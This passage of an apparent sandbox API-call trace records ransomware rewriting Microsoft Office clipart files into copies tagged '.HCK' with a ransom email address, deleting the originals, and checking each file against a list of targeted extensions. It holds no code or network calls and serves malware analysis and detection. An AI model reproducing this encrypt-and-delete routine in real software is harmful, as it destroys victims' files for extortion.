(hObject=0x360) returned 1 [0156.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0156.290] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 1 [0156.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0156.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0156.291] lstrlenW (lpString=".doc") returned 4 [0156.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.291] lstrlenW (lpString=".docx") returned 5 [0156.291] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.291] lstrlenW (lpString=".pdf") returned 4 [0156.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.291] lstrlenW (lpString=".xls") returned 4 [0156.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.291] lstrlenW (lpString=".xlsx") returned 5 [0156.291] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.291] lstrlenW (lpString=".ppt") returned 4 [0156.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0156.291] lstrlenW (lpString=".zip") returned 4 [0156.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.291] lstrlenW (lpString=".rar") returned 4 [0156.291] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.291] lstrlenW (lpString=".bz2") returned 4 [0156.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.291] lstrlenW (lpString=".7z") returned 3 [0156.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0156.291] lstrlenW (lpString=".dbf") returned 4 [0156.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0156.291] lstrlenW (lpString=".1cd") returned 4 [0156.291] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0156.291] lstrlenW (lpString=".jpg") returned 4 [0156.291] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0156.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0156.292] lstrlenW (lpString=".doc") returned 4 [0156.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.292] lstrlenW (lpString=".docx") returned 5 [0156.292] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.292] lstrlenW (lpString=".pdf") returned 4 [0156.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.292] lstrlenW (lpString=".xls") returned 4 [0156.292] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.292] lstrlenW (lpString=".xlsx") returned 5 [0156.292] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.292] lstrlenW (lpString=".ppt") returned 4 [0156.292] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0156.292] lstrlenW (lpString=".zip") returned 4 [0156.292] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.292] lstrlenW (lpString=".rar") returned 4 [0156.292] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.292] lstrlenW (lpString=".bz2") returned 4 [0156.292] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.292] lstrlenW (lpString=".7z") returned 3 [0156.292] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0156.292] lstrlenW (lpString=".dbf") returned 4 [0156.292] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0156.292] lstrlenW (lpString=".1cd") returned 4 [0156.292] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0156.292] lstrlenW (lpString=".jpg") returned 4 [0156.292] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.293] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0156.293] lstrlenW (lpString="BL00148_.WMF") returned 12 [0156.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0156.293] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=1696) returned 1 [0156.293] CloseHandle (hObject=0x360) returned 1 [0156.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x220 [0156.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0156.293] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.294] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0156.294] GetLastError () returned 0x0 [0156.294] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x6a0, lpOverlapped=0x0) returned 1 [0156.295] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x6b0, lpOverlapped=0x0) returned 1 [0156.296] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.296] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.296] SetEndOfFile (hFile=0x364) returned 1 [0156.296] CloseHandle (hObject=0x364) returned 1 [0156.297] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.297] SetEndOfFile (hFile=0x360) returned 1 [0156.297] CloseHandle (hObject=0x360) returned 1 [0156.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0156.298] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 1 [0156.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0156.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0156.298] lstrlenW (lpString=".doc") returned 4 [0156.298] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.298] lstrlenW (lpString=".docx") returned 5 [0156.298] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.298] lstrlenW (lpString=".pdf") returned 4 [0156.298] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.298] lstrlenW (lpString=".xls") returned 4 [0156.298] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.298] lstrlenW (lpString=".xlsx") returned 5 [0156.298] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.298] lstrlenW (lpString=".ppt") returned 4 [0156.298] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0156.298] lstrlenW (lpString=".zip") returned 4 [0156.298] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.298] lstrlenW (lpString=".rar") returned 4 [0156.298] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.298] lstrlenW (lpString=".bz2") returned 4 [0156.298] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.298] lstrlenW (lpString=".7z") returned 3 [0156.298] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0156.298] lstrlenW (lpString=".dbf") returned 4 [0156.299] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0156.299] lstrlenW (lpString=".1cd") returned 4 [0156.299] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0156.299] lstrlenW (lpString=".jpg") returned 4 [0156.299] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0156.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0156.299] lstrlenW (lpString=".doc") returned 4 [0156.299] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.299] lstrlenW (lpString=".docx") returned 5 [0156.299] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.299] lstrlenW (lpString=".pdf") returned 4 [0156.299] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.299] lstrlenW (lpString=".xls") returned 4 [0156.299] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.299] lstrlenW (lpString=".xlsx") returned 5 [0156.299] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.299] lstrlenW (lpString=".ppt") returned 4 [0156.299] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0156.299] lstrlenW (lpString=".zip") returned 4 [0156.299] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.299] lstrlenW (lpString=".rar") returned 4 [0156.299] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.299] lstrlenW (lpString=".bz2") returned 4 [0156.299] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.299] lstrlenW (lpString=".7z") returned 3 [0156.299] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0156.299] lstrlenW (lpString=".dbf") returned 4 [0156.299] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0156.299] lstrlenW (lpString=".1cd") returned 4 [0156.299] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0156.299] lstrlenW (lpString=".jpg") returned 4 [0156.299] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.300] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0156.300] lstrlenW (lpString="BL00152_.WMF") returned 12 [0156.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0156.300] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=1516) returned 1 [0156.300] CloseHandle (hObject=0x360) returned 1 [0156.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 0x220 [0156.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0156.300] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.300] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0156.301] GetLastError () returned 0x0 [0156.301] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x5ec, lpOverlapped=0x0) returned 1 [0156.302] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x5f0, lpOverlapped=0x0) returned 1 [0156.302] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.302] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.303] SetEndOfFile (hFile=0x364) returned 1 [0156.303] CloseHandle (hObject=0x364) returned 1 [0156.303] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.303] SetEndOfFile (hFile=0x360) returned 1 [0156.304] CloseHandle (hObject=0x360) returned 1 [0156.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0156.304] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 1 [0156.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0156.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0156.304] lstrlenW (lpString=".doc") returned 4 [0156.305] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.305] lstrlenW (lpString=".docx") returned 5 [0156.305] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.305] lstrlenW (lpString=".pdf") returned 4 [0156.305] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.305] lstrlenW (lpString=".xls") returned 4 [0156.305] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.305] lstrlenW (lpString=".xlsx") returned 5 [0156.305] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.305] lstrlenW (lpString=".ppt") returned 4 [0156.305] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0156.305] lstrlenW (lpString=".zip") returned 4 [0156.305] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.305] lstrlenW (lpString=".rar") returned 4 [0156.305] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.305] lstrlenW (lpString=".bz2") returned 4 [0156.305] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.305] lstrlenW (lpString=".7z") returned 3 [0156.305] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0156.305] lstrlenW (lpString=".dbf") returned 4 [0156.305] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0156.305] lstrlenW (lpString=".1cd") returned 4 [0156.305] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0156.305] lstrlenW (lpString=".jpg") returned 4 [0156.305] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0156.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0156.305] lstrlenW (lpString=".doc") returned 4 [0156.305] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.305] lstrlenW (lpString=".docx") returned 5 [0156.305] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.305] lstrlenW (lpString=".pdf") returned 4 [0156.305] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.305] lstrlenW (lpString=".xls") returned 4 [0156.305] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.305] lstrlenW (lpString=".xlsx") returned 5 [0156.305] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.305] lstrlenW (lpString=".ppt") returned 4 [0156.306] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0156.306] lstrlenW (lpString=".zip") returned 4 [0156.306] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.306] lstrlenW (lpString=".rar") returned 4 [0156.306] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.306] lstrlenW (lpString=".bz2") returned 4 [0156.306] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.306] lstrlenW (lpString=".7z") returned 3 [0156.306] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0156.306] lstrlenW (lpString=".dbf") returned 4 [0156.306] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0156.306] lstrlenW (lpString=".1cd") returned 4 [0156.306] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0156.306] lstrlenW (lpString=".jpg") returned 4 [0156.306] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.306] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0156.306] lstrlenW (lpString="BL00194_.WMF") returned 12 [0156.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0156.306] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3986) returned 1 [0156.306] CloseHandle (hObject=0x360) returned 1 [0156.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 0x220 [0156.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0156.307] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.307] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0156.307] GetLastError () returned 0x0 [0156.307] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xf92, lpOverlapped=0x0) returned 1 [0156.805] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xfa0, lpOverlapped=0x0) returned 1 [0156.805] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.805] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.806] SetEndOfFile (hFile=0x364) returned 1 [0156.806] CloseHandle (hObject=0x364) returned 1 [0156.806] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.807] SetEndOfFile (hFile=0x360) returned 1 [0156.807] CloseHandle (hObject=0x360) returned 1 [0156.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0156.808] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 1 [0156.808] lstrlenW (lpString="C:\\Program Files\\Microsoft 